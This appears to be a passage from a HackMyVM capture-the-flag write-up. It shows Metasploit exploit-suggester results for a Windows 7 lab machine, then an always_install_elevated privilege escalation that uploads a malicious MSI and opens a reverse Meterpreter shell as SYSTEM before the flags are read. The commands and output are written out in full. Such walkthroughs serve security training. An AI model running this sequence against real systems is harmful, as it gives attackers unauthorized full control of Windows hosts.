 29  exploit/windows/local/cve_2022_21882_win32k                    No                       The target is not exploitable.
73
 30  exploit/windows/local/cve_2022_21999_spoolfool_privesc         No                       The target is not exploitable. Windows 7 is technically vulnerable, though it requires a reboot.
74
 31  exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver  No                       The target is not exploitable.
75
 32  exploit/windows/local/cve_2023_21768_afd_lpe                   No                       The target is not exploitable. The exploit only supports Windows 11 22H2
76
 33  exploit/windows/local/cve_2023_28252_clfs_driver               No                       The target is not exploitable. The target system does not have clfs.sys in system32\drivers\
77
 34  exploit/windows/local/cve_2024_30085_cloud_files               No                       The target is not exploitable.
78
 35  exploit/windows/local/cve_2024_30088_authz_basep               No                       The target is not exploitable. Version detected: Windows 7 Service Pack 1. Revision number detected: 0.
79
 36  exploit/windows/local/cve_2024_35250_ks_driver                 No                       The target is not exploitable. Version detected: Windows 7 Service Pack 1
80
 37  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
81
 38  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
82
 39  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store
83
 40  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  No                       The target is not exploitable.
84
 41  exploit/windows/local/ms16_075_reflection                      No                       The target is not exploitable.
85
 42  exploit/windows/local/ms16_075_reflection_juicy                No                       The target is not exploitable.
86
 43  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
87
 44  exploit/windows/local/nvidia_nvsvc                             No                       The check raised an exception.
88
 45  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
89
 46  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
90
 47  exploit/windows/local/srclient_dll_hijacking                   No                       The target is not exploitable. Target is not Windows Server 2012.
91
 48  exploit/windows/local/webexec                                  No                       The check raised an exception.
92
 49  exploit/windows/local/win_error_cve_2023_36874                 No                       The target is not exploitable.

1
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/always_install_elevated
2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
3
msf6 exploit(windows/local/always_install_elevated) > set SESSION 1
4
SESSION => 1
5
msf6 exploit(windows/local/always_install_elevated) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
6
PAYLOAD => windows/x64/meterpreter/reverse_tcp
7
msf6 exploit(windows/local/always_install_elevated) > set LHOST 172.16.55.210
8
LHOST => 172.16.55.210
9
msf6 exploit(windows/local/always_install_elevated) > run
10
[*] Started reverse TCP handler on 172.16.55.210:4444
11
[*] Uploading the MSI to C:\Users\ftpuser\AppData\Local\Temp\MOWnCibCXGDD.msi ...
12
[*] Executing MSI...
13
[*] Sending stage (203846 bytes) to 172.16.52.224
14
[+] Deleted C:\Users\ftpuser\AppData\Local\Temp\MOWnCibCXGDD.msi
15
[*] Meterpreter session 2 opened (172.16.55.210:4444 -> 172.16.52.224:49210) at 2025-12-13 02:28:51 -0500
16

17
meterpreter > getuid
18
Server username: NT AUTHORITY\SYSTEM

1
C:\Users\Administrator\Desktop>type root.txt
2
type root.txt
3
HMV{White_Flag_Raised}
4

5
C:\Users\Always\Desktop>type user.txt
6
type user.txt
7
HMV{You_Found_Me!}